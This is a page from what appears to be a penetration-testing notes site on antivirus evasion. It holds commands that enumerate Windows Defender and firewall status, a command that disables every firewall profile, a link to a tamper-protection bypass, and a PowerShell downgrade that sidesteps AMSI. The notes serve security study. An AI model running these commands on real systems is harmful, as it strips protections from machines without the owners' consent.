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husk/build/post exploitation/docs/windows/antivirus_evasion.html

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<!doctype html>
<html lang="en">
<center>
<head>
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
<script type="text/javascript" src="/static/js/search.js"></script>
<link rel="stylesheet" href="/static/stylesheet.css">
<link rel="stylesheet" href="/static/auto-complete.css">
<br>
<title>The Real Hugo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- topmenu -->
<div class="menu">
<a href="/" style="text-decoration:none">Husk</a>
</div>
<div class="search-container">
<label for="search-by"><i class="fas fa-search"></i></label>
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
<!--button type="submit"><i class="search"></i>&#128269;</button>-->
<span data-search-clear=""><i class="fas fa-times"></i></span>
</div>
</div>
<div class="menu">
</div>
<!--br><br-->
</center>
<p></p>
<div class="columns">
<!-- Sidebar -->
<div class="column column-1">
<ul><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs/meltdown.html">meltdown</a></li></ul></details><details id=binaries ontoggle="linkClick(this); return false;" ><summary>Binaries</summary><ul><li><a href="/exploit/binaries/Shellcode.html">Shellcode</a></li><li><a href="/exploit/binaries/aslr.html">aslr</a></li><details id=buffer_overflow ontoggle="linkClick(this); return false;" ><summary>Buffer_overflow</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/exploit/binaries/buffer_overflow/docs/amd64.html">amd64</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/amd64_instructions.html">amd64_instructions</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/buffer_overflow.html">buffer_overflow</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html">cut_stack_in_half</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html">pwntools_specifics</a></li><li><a href="/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html">ret_address_reuse</a></li></ul></details><li><a href="/exploit/binaries/buffer_overflow/ropping.html">ropping</a></li></ul></details><details id=canary_bypass ontoggle="linkClick(this); return false;" ><summary>Canary_bypass</summary><ul><li><a href="/exploit/binaries/canary_bypass/canary_bypass.html">canary_bypass</a></li></ul></details><details id=format_string ontoggle="linkClick(this); return false;" ><summary>Format_string</summary><ul><li><a href="/exploit/binaries/format_string/format_string.html">format_string</a></li></ul></details><details id=integral_promotion ontoggle="linkClick(this); return false;" ><summary>Integral_promotion</summary><ul><li><a href="/exploit/binaries/integral_promotion/integral_promotion.html">integral_promotion</a></li></ul></details><li><a href="/exploit/binaries/plt_got.html">plt_got</a></li><li><a href="/exploit/binaries/r2.html">r2</a></li><li><a href="/exploit/binaries/ret2libc.html">ret2libc</a></li></ul></details><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exploit/dns/zone_transfer.html">zone_transfer</a></li></ul></details><details id=hashes ontoggle="linkClick(this); return false;" ><summary>Hashes</summary><ul><li><a href="/exploit/hashes/collision.html">collision</a></li></ul></details><details id=imagemagick ontoggle="linkClick(this); return false;" ><summary>Imagemagick</summary><ul><li><a href="/exploit/imagemagick/imagetragick.html">imagetragick</a></li></ul></details><details id=java ontoggle="linkClick(this); return false;" ><summary>Java</summary><ul><details id=OGNL ontoggle="linkClick(this); return false;" ><summary>OGNL</summary><ul><li><a href="/exploit/java/OGNL/cve_2022_26134.html">cve_2022_26134</a></li></ul></details><li><a href="/exploit/java/ghidra_debug.html">ghidra_debug</a></li><li><a href="/exploit/java/ghostcat.html">ghostcat</a></li><li><a href="/exploit/java/log4shell.html">log4shell</a></li><li><a href="/exploit/java/spring4shell.html">spring4shell</a></li></ul></details><details id=level3_hypervisor ontoggle="linkClick(this); return false;" ><summary>Level3_hypervisor</summary><ul><details id=docker_sec ontoggle="linkClick(this); return false;" ><summary>Docker_sec</summary><ul><li><a href="/exploit/level3_hypervisor/docker_sec/docker.html">docker</a></li></ul></details><li><a href="/exploit/level3_hypervisor/kubernetes.html">kubernetes</a></li><li><a href="/exploit/level3_hypervisor/lxc.html">lxc</a></li><li><a href="/exploit/level3_hypervisor/microk8s.html">microk8s</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exploit/linux/capabilities.html">capabilities</a></li><details id=dirty_pipe ontoggle="linkClick(this); return false;" ><summary>Dirty_pipe</summary><ul><li><a href="/exploit/linux/dirty_pipe/dirty_pipe.html">dirty_pipe</a></li></ul></details><li><a href="/exploit/linux/exiftool.html">exiftool</a></li><li><a href="/exploit/linux/groups.html">groups</a></li><li><a href="/exploit/linux/ld_preload.html">ld_preload</a></li><li><a href="/exploit/linux/nfs_rootsquash.html">nfs_rootsquash</a></li><li><a href="/exploit/linux/overlayfs.html">overlayfs</a></li><details id=pkexec ontoggle="linkClick(this); return false;" ><summary>Pkexec</summary><ul><li><a href="/exploit/linux/pkexec/CVE_2021_4034.html">CVE_2021_4034</a></li></ul></details><li><a href="/exploit/linux/polkit.html">polkit</a></li><li><a href="/exploit/linux/racing_conditions.html">racing_conditions</a></li><li><a href="/exploit/linux/setcap.html">setcap</a></li><li><a href="/exploit/linux/shared_object_injection.html">shared_object_injection</a></li><li><a href="/exploit/linux/shell_shock.html">shell_shock</a></li><details id=sudo ontoggle="linkClick(this); return false;" ><summary>Sudo</summary><ul><li><a href="/exploit/linux/sudo/CVE_2019_14287.html">CVE_2019_14287</a></li><li><a href="/exploit/linux/sudo/CVE_2019_18634.html">CVE_2019_18634</a></li><li><a href="/exploit/linux/sudo/baron_samedit.html">baron_samedit</a></li><li><a href="/exploit/linux/sudo/tokens.html">tokens</a></li></ul></details><li><a href="/exploit/linux/wildard_exploitation.html">wildard_exploitation</a></li></ul></details><details id=macOS ontoggle="linkClick(this); return false;" ><summary>MacOS</summary><ul></ul></details><details id=network ontoggle="linkClick(this); return false;" ><summary>Network</summary><ul><li><a href="/exploit/network/mac_spoofing.html">mac_spoofing</a></li></ul></details><details id=padding ontoggle="linkClick(this); return false;" ><summary>Padding</summary><ul><li><a href="/exploit/padding/padbuster.html">padbuster</a></li></ul></details><details id=python ontoggle="linkClick(this); return false;" ><summary>Python</summary><ul><li><a href="/exploit/python/code_injection.html">code_injection</a></li><li><a href="/exploit/python/jail_escape.html">jail_escape</a></li><li><a href="/exploit/python/lib_hijack.html">lib_hijack</a></li><li><a href="/exploit/python/pickle.html">pickle</a></li><li><a href="/exploit/python/pwntools.html">pwntools</a></li><li><a href="/exploit/python/pyc.html">pyc</a></li><li><a href="/exploit/python/scapy.html">scapy</a></li></ul></details><details id=samba ontoggle="linkClick(this); return false;" ><summary>Samba</summary><ul><li><a href="/exploit/samba/smbmap.html">smbmap</a></li></ul></details><details id=sqli ontoggle="linkClick(this); return false;" ><summary>Sqli</summary><ul><li><a href="/exploit/sqli/mssql.html">mssql</a></li><li><a href="/exploit/sqli/no_sqli.html">no_sqli</a></li><li><a href="/exploit/sqli/sqli.html">sqli</a></li><li><a href="/exploit/sqli/sqlmap.html">sqlmap</a></li></ul></details><details id=ssl_tls ontoggle="linkClick(this); return false;" ><summary>Ssl_tls</summary><ul><li><a href="/exploit/ssl_tls/heartbleed.html">heartbleed</a></li></ul></details><details id=web ontoggle="linkClick(this); return false;" ><summary>Web</summary><ul><details id=bypass_rate_limiting ontoggle="linkClick(this); return false;" ><summary>Bypass_rate_limiting</summary><ul><li><a href="/exploit/web/bypass_rate_limiting/bypass_rate_limiting.html">bypass_rate_limiting</a></li></ul></details><li><a href="/exploit/web/command_injection.html">command_injection</a></li><details id=content_security_policy ontoggle="linkClick(this); return false;" ><summary>Content_security_policy</summary><ul><li><a href="/exploit/web/content_security_policy/content_security_policy.html">content_security_policy</a></li></ul></details><li><a href="/exploit/web/cookie_tampering.html">cookie_tampering</a></li><li><a href="/exploit/web/csrf.html">csrf</a></li><details id=forced_browsing ontoggle="linkClick(this); return false;" ><summary>Forced_browsing</summary><ul><li><a href="/exploit/web/forced_browsing/forced_browsing.html">forced_browsing</a></li></ul></details><li><a href="/exploit/web/http_header_injection.html">http_header_injection</a></li><details id=idor ontoggle="linkClick(this); return false;" ><summary>Idor</summary><ul><li><a href="/exploit/web/idor/idor.html">idor</a></li></ul></details><details id=javascript ontoggle="linkClick(this); return false;" ><summary>Javascript</summary><ul><li><a href="/exploit/web/javascript/bypass_filters.html">bypass_filters</a></li><li><a href="/exploit/web/javascript/prototype_pollution.html">prototype_pollution</a></li></ul></details><details id=jwt ontoggle="linkClick(this); return false;" ><summary>Jwt</summary><ul><li><a href="/exploit/web/jwt/jwt.html">jwt</a></li></ul></details><li><a href="/exploit/web/local_file_inclusion.html">local_file_inclusion</a></li><li><a href="/exploit/web/methodology.html">methodology</a></li><details id=nodejs ontoggle="linkClick(this); return false;" ><summary>Nodejs</summary><ul><li><a href="/exploit/web/nodejs/deserialization.html">deserialization</a></li></ul></details><details id=php ontoggle="linkClick(this); return false;" ><summary>Php</summary><ul><li><a href="/exploit/web/php/command_injection.html">command_injection</a></li><li><a href="/exploit/web/php/password_reset.html">password_reset</a></li><li><a href="/exploit/web/php/php_base64_filter.html">php_base64_filter</a></li><li><a href="/exploit/web/php/php_image_exif.html">php_image_exif</a></li><li><a href="/exploit/web/php/php_user_agent_rce.html">php_user_agent_rce</a></li><li><a href="/exploit/web/php/preload_lib.html">preload_lib</a></li><li><a href="/exploit/web/php/unserialize.html">unserialize</a></li></ul></details><li><a href="/exploit/web/re_registration.html">re_registration</a></li><li><a href="/exploit/web/remote_file_inclusion.html">remote_file_inclusion</a></li><details id=ssrf ontoggle="linkClick(this); return false;" ><summary>Ssrf</summary><ul><li><a href="/exploit/web/ssrf/iframe.html">iframe</a></li><li><a href="/exploit/web/ssrf/ssrf.html">ssrf</a></li></ul></details><details id=ssti ontoggle="linkClick(this); return false;" ><summary>Ssti</summary><ul><li><a href="/exploit/web/ssti/ssti.html">ssti</a></li></ul></details><li><a href="/exploit/web/url_forgery.html">url_forgery</a></li><li><a href="/exploit/web/wordpress.html">wordpress</a></li><li><a href="/exploit/web/xpath.html">xpath</a></li><li><a href="/exploit/web/xss.html">xss</a></li><details id=xxe ontoggle="linkClick(this); return false;" ><summary>Xxe</summary><ul><li><a href="/exploit/web/xxe/wp_xxe_.html">wp_xxe_</a></li><li><a href="/exploit/web/xxe/xml_external_entity.html">xml_external_entity</a></li></ul></details></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><details id=Portable Executables ontoggle="linkClick(this); return false;" ><summary>Portable Executables</summary><ul><li><a href="/exploit/windows/Portable Executables/Shellcode.html">Shellcode</a></li></ul></details><details id=dll_hijacking ontoggle="linkClick(this); return false;" ><summary>Dll_hijacking</summary><ul><li><a href="/exploit/windows/dll_hijacking/dll_hijacking.html">dll_hijacking</a></li></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/exploit/windows/docs/always_installed_elevated.html">always_installed_elevated</a></li><li><a href="/exploit/windows/docs/crackmapexec.html">crackmapexec</a></li><li><a href="/exploit/windows/docs/dpapi.html">dpapi</a></li><li><a href="/exploit/windows/docs/impacket.html">impacket</a></li><li><a href="/exploit/windows/docs/llmnr.html">llmnr</a></li><li><a href="/exploit/windows/docs/lnk_exploit.html">lnk_exploit</a></li><li><a href="/exploit/windows/docs/pass_the_hash.html">pass_the_hash</a></li><li><a href="/exploit/windows/docs/password_in_registry.html">password_in_registry</a></li><li><a href="/exploit/windows/docs/potatoes.html">potatoes</a></li><li><a href="/exploit/windows/docs/printnightmare.html">printnightmare</a></li><li><a href="/exploit/windows/docs/responder.html">responder</a></li><li><a href="/exploit/windows/docs/unquoted_path.html">unquoted_path</a></li></ul></details><details id=macros ontoggle="linkClick(this); return false;" ><summary>Macros</summary><ul><li><a href="/exploit/windows/macros/macros.html">macros</a></li></ul></details><details id=payloads ontoggle="linkClick(this); return false;" ><summary>Payloads</summary><ul><li><a href="/exploit/windows/payloads/windows_scripting_host.html">windows_scripting_host</a></li></ul></details><details id=print_nightmare ontoggle="linkClick(this); return false;" ><summary>Print_nightmare</summary><ul><details id=CVE-2021-1675 ontoggle="linkClick(this); return false;" ><summary>CVE-2021-1675</summary><ul><details id=nightmare-dll ontoggle="linkClick(this); return false;" ><summary>Nightmare-dll</summary><ul></ul></details></ul></details><li><a href="/exploit/windows/print_nightmare/print_nightmare.html">print_nightmare</a></li></ul></details><details id=process_injection ontoggle="linkClick(this); return false;" ><summary>Process_injection</summary><ul><li><a href="/exploit/windows/process_injection/dll_injection.html">dll_injection</a></li><li><a href="/exploit/windows/process_injection/process_hollowing.html">process_hollowing</a></li><li><a href="/exploit/windows/process_injection/shellcode_injection.html">shellcode_injection</a></li><li><a href="/exploit/windows/process_injection/thread_hijacking.html">thread_hijacking</a></li></ul></details><details id=service_escalation ontoggle="linkClick(this); return false;" ><summary>Service_escalation</summary><ul><li><a href="/exploit/windows/service_escalation/service_escalation.html">service_escalation</a></li></ul></details><details id=zero_logon ontoggle="linkClick(this); return false;" ><summary>Zero_logon</summary><ul><li><a href="/exploit/windows/zero_logon/zero_logon.html">zero_logon</a></li></ul></details></ul></details><details id=yaml ontoggle="linkClick(this); return false;" ><summary>Yaml</summary><ul><li><a href="/exploit/yaml/deserialization.html">deserialization</a></li></ul></details></ul></details><details id=forensics ontoggle="linkClick(this); return false;" ><summary>Forensics</summary><ul><li><a href="/forensics/ios.html">ios</a></li><li><a href="/forensics/kape.html">kape</a></li><li><a href="/forensics/ntfs.html">ntfs</a></li><li><a href="/forensics/oletools.html">oletools</a></li><li><a href="/forensics/volatility.html">volatility</a></li><li><a href="/forensics/windows_registry.html">windows_registry</a></li></ul></details><details id=hashes ontoggle="linkClick(this); return false;" ><summary>Hashes</summary><ul><details id=bruteforce ontoggle="linkClick(this); return false;" ><summary>Bruteforce</summary><ul><li><a href="/hashes/bruteforce/patator.html">patator</a></li></ul></details><li><a href="/hashes/generate_wordlists.html">generate_wordlists</a></li><li><a href="/hashes/haiti.html">haiti</a></li><li><a href="/hashes/hashcat_utils.html">hashcat_utils</a></li><details id=password_cracking ontoggle="linkClick(this); return false;" ><summary>Password_cracking</summary><ul><li><a href="/hashes/password_cracking/hydra.html">hydra</a></li><li><a href="/hashes/password_cracking/john.html">john</a></li><li><a href="/hashes/password_cracking/smb_challenge.html">smb_challenge</a></li><li><a href="/hashes/password_cracking/sucrack.html">sucrack</a></li><li><a href="/hashes/password_cracking/vnc.html">vnc</a></li></ul></details><details id=password_guessing ontoggle="linkClick(this); return false;" ><summary>Password_guessing</summary><ul><li><a href="/hashes/password_guessing/standard_passwords.html">standard_passwords</a></li></ul></details></ul></details><details id=persistence ontoggle="linkClick(this); return false;" ><summary>Persistence</summary><ul><li><a href="/persistence/bashrc.html">bashrc</a></li><li><a href="/persistence/crontab.html">crontab</a></li><li><a href="/persistence/meterpreter.html">meterpreter</a></li><li><a href="/persistence/persistence.html">persistence</a></li><li><a href="/persistence/wmi.html">wmi</a></li></ul></details><details id=post exploitation ontoggle="linkClick(this); return false;" ><summary>Post exploitation</summary><ul><details id=Seatbelt ontoggle="linkClick(this); return false;" ><summary>Seatbelt</summary><ul><details id=.github ontoggle="linkClick(this); return false;" ><summary>.github</summary><ul><details id=ISSUE_TEMPLATE ontoggle="linkClick(this); return false;" ><summary>ISSUE_TEMPLATE</summary><ul><li><a href="/post exploitation/Seatbelt/.github/ISSUE_TEMPLATE/bug_report.html">bug_report</a></li><li><a href="/post exploitation/Seatbelt/.github/ISSUE_TEMPLATE/feature_request.html">feature_request</a></li></ul></details></ul></details><li><a href="/post exploitation/Seatbelt/CHANGELOG.html">CHANGELOG</a></li><details id=Seatbelt ontoggle="linkClick(this); return false;" ><summary>Seatbelt</summary><ul><details id=Commands ontoggle="linkClick(this); return false;" ><summary>Commands</summary><ul><details id=Windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><details id=EventLogs ontoggle="linkClick(this); return false;" ><summary>EventLogs</summary><ul></ul></details></ul></details></ul></details><details id=Output ontoggle="linkClick(this); return false;" ><summary>Output</summary><ul></ul></details></ul></details></ul></details><details id=bc_security ontoggle="linkClick(this); return false;" ><summary>Bc_security</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/docs/c2.html">c2</a></li><li><a href="/post exploitation/docs/crackmapexec.html">crackmapexec</a></li><li><a href="/post exploitation/docs/empire.html">empire</a></li><li><a href="/post exploitation/docs/ids_ips_evation.html">ids_ips_evation</a></li><li><a href="/post exploitation/docs/linux.html">linux</a></li><li><a href="/post exploitation/docs/metasploit.html">metasploit</a></li><li><a href="/post exploitation/docs/mimikatz.html">mimikatz</a></li><li><a href="/post exploitation/docs/mitm.html">mitm</a></li><li><a href="/post exploitation/docs/nfs_root_squash.html">nfs_root_squash</a></li><li><a href="/post exploitation/docs/powershell.html">powershell</a></li><li><a href="/post exploitation/docs/secretsdump.html">secretsdump</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/post exploitation/docs/windows/Signature-Evasion.html">Signature-Evasion</a></li><li><a href="/post exploitation/docs/windows/antivirus_evasion.html">antivirus_evasion</a></li><li><a href="/post exploitation/docs/windows/applocker.html">applocker</a></li><li><a href="/post exploitation/docs/windows/evade_event_tracing.html">evade_event_tracing</a></li><li><a href="/post exploitation/docs/windows/living_off_the_land.html">living_off_the_land</a></li><li><a href="/post exploitation/docs/windows/pass_the_hash.html">pass_the_hash</a></li><li><a href="/post exploitation/docs/windows/powershell_logs.html">powershell_logs</a></li><li><a href="/post exploitation/docs/windows/registry.html">registry</a></li><li><a href="/post exploitation/docs/windows/sebackupprivilege.html">sebackupprivilege</a></li><li><a href="/post exploitation/docs/windows/user_account_control.html">user_account_control</a></li></ul></details></ul></details><li><a href="/post exploitation/pivoting.html">pivoting</a></li><details id=priv_esc ontoggle="linkClick(this); return false;" ><summary>Priv_esc</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/priv_esc/docs/linux_priv_esc.html">linux_priv_esc</a></li><li><a href="/post exploitation/priv_esc/docs/pspy.html">pspy</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/post exploitation/priv_esc/docs/windows/add_user.html">add_user</a></li><li><a href="/post exploitation/priv_esc/docs/windows/windows_priv_esc.html">windows_priv_esc</a></li></ul></details></ul></details><details id=kernel-exploits ontoggle="linkClick(this); return false;" ><summary>Kernel-exploits</summary><ul></ul></details><details id=privesc-scripts ontoggle="linkClick(this); return false;" ><summary>Privesc-scripts</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/post exploitation/priv_esc/privesc-scripts/docs/get_script_onto_target.html">get_script_onto_target</a></li></ul></details></ul></details><details id=suid ontoggle="linkClick(this); return false;" ><summary>Suid</summary><ul></ul></details></ul></details></ul></details><details id=reverse engineering ontoggle="linkClick(this); return false;" ><summary>Reverse engineering</summary><ul><details id=android ontoggle="linkClick(this); return false;" ><summary>Android</summary><ul><li><a href="/reverse engineering/android/misc.html">misc</a></li></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/reverse engineering/docs/deobfuscation.html">deobfuscation</a></li><li><a href="/reverse engineering/docs/dll_reversing.html">dll_reversing</a></li><li><a href="/reverse engineering/docs/firmware.html">firmware</a></li><li><a href="/reverse engineering/docs/function_mangling.html">function_mangling</a></li><li><a href="/reverse engineering/docs/scada.html">scada</a></li></ul></details><details id=java ontoggle="linkClick(this); return false;" ><summary>Java</summary><ul><li><a href="/reverse engineering/java/krakatau.html">krakatau</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/reverse engineering/windows/portable-executable.html">portable-executable</a></li></ul></details></ul></details><details id=reverse shells ontoggle="linkClick(this); return false;" ><summary>Reverse shells</summary><ul><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/reverse shells/docs/evil-winrm.html">evil-winrm</a></li><li><a href="/reverse shells/docs/msfconsole.html">msfconsole</a></li><li><a href="/reverse shells/docs/msfvenom.html">msfvenom</a></li><li><a href="/reverse shells/docs/netcat.html">netcat</a></li><li><a href="/reverse shells/docs/powershell.html">powershell</a></li><li><a href="/reverse shells/docs/shell_upgrade.html">shell_upgrade</a></li><li><a href="/reverse shells/docs/socat.html">socat</a></li><li><a href="/reverse shells/docs/webshell.html">webshell</a></li></ul></details><li><a href="/reverse shells/firewalls.html">firewalls</a></li><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul></ul></details></ul></details>
</ul>
</div>
<div class="column column-2">
<span class="body">
<style>pre { line-height: 125%; }
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<div class="column column-3">
<ul>
<li><a href="#antivirus-evasion">Antivirus Evasion</a><ul>
<li><a href="#enumeration">Enumeration</a></li>
<li><a href="#reset-options">Reset Options</a></li>
<li><a href="#anti-malware-secure-interface">Anti Malware Secure Interface</a><ul>
<li><a href="#return-resultresponse-codes">Return Result/Response Codes</a></li>
<li><a href="#powershell-downgrade-attack">PowerShell Downgrade Attack</a></li>
<li><a href="#reflection-bypass">Reflection Bypass</a></li>
<li><a href="#amsi-scanbuffer-patch">AMSI ScanBuffer patch</a></li>
<li><a href="#other-bypasses-and-tools">Other Bypasses and Tools</a></li>
<li><a href="#validate">Validate</a></li>
<li><a href="#further-obfuscation">Further Obfuscation</a><ul>
<li><a href="#type-obfuscation">Type Obfuscation</a></li>
</ul>
</li>
<li><a href="#automated-obfuscation">Automated Obfuscation</a><ul>
<li><a href="#powershell">Powershell</a></li>
<li><a href="#other-obfuscation">Other Obfuscation</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#links">Links</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="antivirus-evasion">Antivirus Evasion</h1>
<ul>
<li>
<p>Existing types</p>
<ul>
<li>On-Disk evasion</li>
<li>In-Memory evasion</li>
</ul>
</li>
<li>
<p>Detection Methods</p>
<ul>
<li>Static Detection -- Hash or String/Byte Matching </li>
<li>Dynamic -- predefined rules, run inside a sandbox, querying API and syscalls at runtime</li>
<li>Heuristic / Behaviourial Detection -- threshold hits by either static comparison of decompiled code or dynamically analyzed software</li>
</ul>
</li>
<li>
<p>Additional Features</p>
<ul>
<li>Unpacker -- decrypting and decompress</li>
<li>PE header parser -- portable executable headers are parsed</li>
<li>Emulation -- analysis in an emulated env</li>
</ul>
</li>
</ul>
<h2 id="enumeration">Enumeration</h2>
<div class="codehilite"><pre><span></span><code>wmic /namespace:<span class="se">\\</span>root<span class="se">\s</span>ecuritycenter2 path antivirusproduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
</code></pre></div>
<div class="codehilite"><pre><span></span><code>Get-Service WinDefend
Get-MpComputerStatus <span class="p">|</span> <span class="k">select</span> RealTimeProtectionEnabled
</code></pre></div>
<ul>
<li>Check firewall</li>
</ul>
<div class="codehilite"><pre><span></span><code>Get-NetFirewallProfile <span class="p">|</span> Format-Table Name, Enabled
</code></pre></div>
<div class="codehilite"><pre><span></span><code>Get-NetFirewallRule <span class="p">|</span> <span class="k">select</span> DisplayName, Enabled, Description
</code></pre></div>
<ul>
<li>Check inbound port availability</li>
</ul>
<div class="codehilite"><pre><span></span><code>Test-NetConnection -ComputerName <span class="m">127</span>.0.0.1 -Port <span class="m">80</span>
</code></pre></div>
<ul>
<li>Check Windows Defender and its active rules</li>
</ul>
<div class="codehilite"><pre><span></span><code>powershell -c <span class="s2">&quot;Get-MpPreference&quot;</span>
powershell -c <span class="s2">&quot;Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Id</span>
</code></pre></div>
<ul>
<li>Check tamper protection, and <a href="https://gist.github.com/tyranid/c65520160b61ec851e68811de3cd646d#file-doh-ps1">bypass</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>reg query <span class="s2">&quot;HKLM\Software\Microsoft\Windows Defender\Features&quot;</span> /v TamperProtection
</code></pre></div>
<h2 id="reset-options">Reset Options</h2>
<div class="codehilite"><pre><span></span><code>Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
</code></pre></div>
<h2 id="anti-malware-secure-interface">Anti Malware Secure Interface</h2>
<ul>
<li>Powershell .NET runtime detection measure of windows. Scans code before executed.</li>
<li>https://docs.microsoft.com/en-us/windows/win32/amsi/</li>
<li>https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions</li>
<li>https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream</li>
<li>Integrated inside components<ul>
<li>User Account Control (UAC)</li>
<li>Powershell</li>
<li>Windows Script Host (wscript, csrcipt)</li>
<li>JavaScript and VBScript</li>
<li>VBA macros</li>
</ul>
</li>
<li>
<p><code>System.Management.Automation.dll</code></p>
</li>
<li>
<p>Flow</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Win32</span><span class="w"> </span><span class="n">API</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">COM</span><span class="w"> </span><span class="n">API</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">AV</span><span class="w"> </span><span class="n">Provider</span><span class="w"> </span><span class="o">|</span><span class="w"></span>
<span class="n">Interpreter</span><span class="w"> </span><span class="o">--&gt;</span><span class="w"> </span><span class="n">AMSIScanBuffer</span><span class="w"> </span><span class="o">--&gt;</span><span class="w"> </span><span class="n">AMSIScanString</span><span class="w"> </span><span class="o">--&gt;</span><span class="w"> </span><span class="n">IAntiMalware</span><span class="o">::</span><span class="kr">Scan</span><span class="p">()</span><span class="w"> </span><span class="o">--&gt;</span><span class="w"> </span><span class="n">IAntiMalwareProvider</span><span class="o">::</span><span class="kr">Scan</span><span class="p">()</span><span class="w"></span>
</code></pre></div>
<h3 id="return-resultresponse-codes">Return Result/Response Codes</h3>
<div class="codehilite"><pre><span></span><code><span class="n">AMSI_RESULT_CLEAN</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">AMSI_RESULT_NOT_DETECTED</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">AMSI_RESULT_BLOCKED_BY_ADMIN_START</span> <span class="o">=</span> <span class="mi">16384</span>
<span class="n">AMSI_RESULT_BLOCKED_BY_ADMIN_END</span> <span class="o">=</span> <span class="mi">20479</span>
<span class="n">AMSI_RESULT_DETECTED</span> <span class="o">=</span> <span class="mi">32768</span>
</code></pre></div>
<h3 id="powershell-downgrade-attack">PowerShell Downgrade Attack</h3>
<ul>
<li>Downgrade Powershell version to 2.0, where no AMSI is implemented</li>
</ul>
<div class="codehilite"><pre><span></span><code>PowerShell -Version <span class="m">2</span>
</code></pre></div>
<ul>
<li><a href="https://github.com/trustedsec/unicorn">Unicorn</a> does leverage this</li>
</ul>
